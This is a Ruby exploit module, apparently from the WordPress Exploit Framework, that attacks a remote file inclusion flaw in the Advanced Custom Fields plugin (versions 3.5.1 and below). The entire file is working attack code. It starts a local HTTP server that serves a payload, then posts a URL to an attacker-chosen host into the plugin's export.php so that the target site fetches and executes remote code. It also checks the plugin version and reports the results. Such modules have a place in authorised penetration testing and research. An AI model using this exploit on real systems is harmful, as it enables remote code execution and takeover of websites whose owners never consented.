# frozen_string_literal: true

class Wpxf::Exploit::AdvancedCustomFieldsRemoteFileInclusion < Wpxf::Module
  include Wpxf
  include Wpxf::Net::HttpServer

  def initialize
    super

    update_info(
      name: 'Advanced Custom Fields Remote File Inclusion',
      desc: 'The Advanced Custom Fields plugin, in versions 3.5.1 and below, '\
            'allows for remote file inclusion and remote code execution via '\
            'the export.php script. This exploit only works when the PHP '\
            'option "allow_url_include" is enabled (disabled by default).',
      author: [
        'Charlie Eriksen <charlie[at]ceriksen.com>', # Vulnerability disclosure
        'rastating'                                  # WPXF module
      ],
      references: [
        ['URL', 'http://secunia.com/advisories/51037/'],
        ['WPVDB', '6103']
      ],
      date: 'Nov 14 2012'
    )

    register_options([
      StringOption.new(
        name: 'rfi_host',
        desc: 'The address of the host listening for a connection',
        required: true
      ),
      StringOption.new(
        name: 'rfi_path',
        desc: 'The path to access via the remote file inclusion request',
        default: Utility::Text.rand_alpha(8),
        required: true
      )
    ])
  end

  def plugin_url
    normalize_uri(wordpress_url_plugins, 'advanced-custom-fields')
  end

  def check
    check_plugin_version_from_readme('advanced-custom-fields', '3.5.2')
  end

  def rfi_host
    normalized_option_value('rfi_host')
  end

  def rfi_path
    normalized_option_value('rfi_path')
  end

  def rfi_url
    "http://#{rfi_host}:#{http_server_bind_port}/#{rfi_path}"
  end

  def on_http_request(path, params, headers)
    payload.encoded
  end

  def vulnerable_url
    normalize_uri(plugin_url, 'core', 'actions', 'export.php')
  end

  def run
    return false unless super

    start_http_server(true)

    emit_info 'Executing request...'
    res = execute_post_request(
      url: vulnerable_url,
      body: {
        'acf_abspath' => rfi_url
      }
    )
    stop_http_server

    emit_info "Response code: #{res.code}", true
    emit_info "Response body: #{res.body}", true

    if res.code == 500 || res.body =~ /allow_url_include/
      emit_error 'allow_url_include appears to be disabled'
      return false
    end

    if res && res.code == 200 && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    true
  end
end
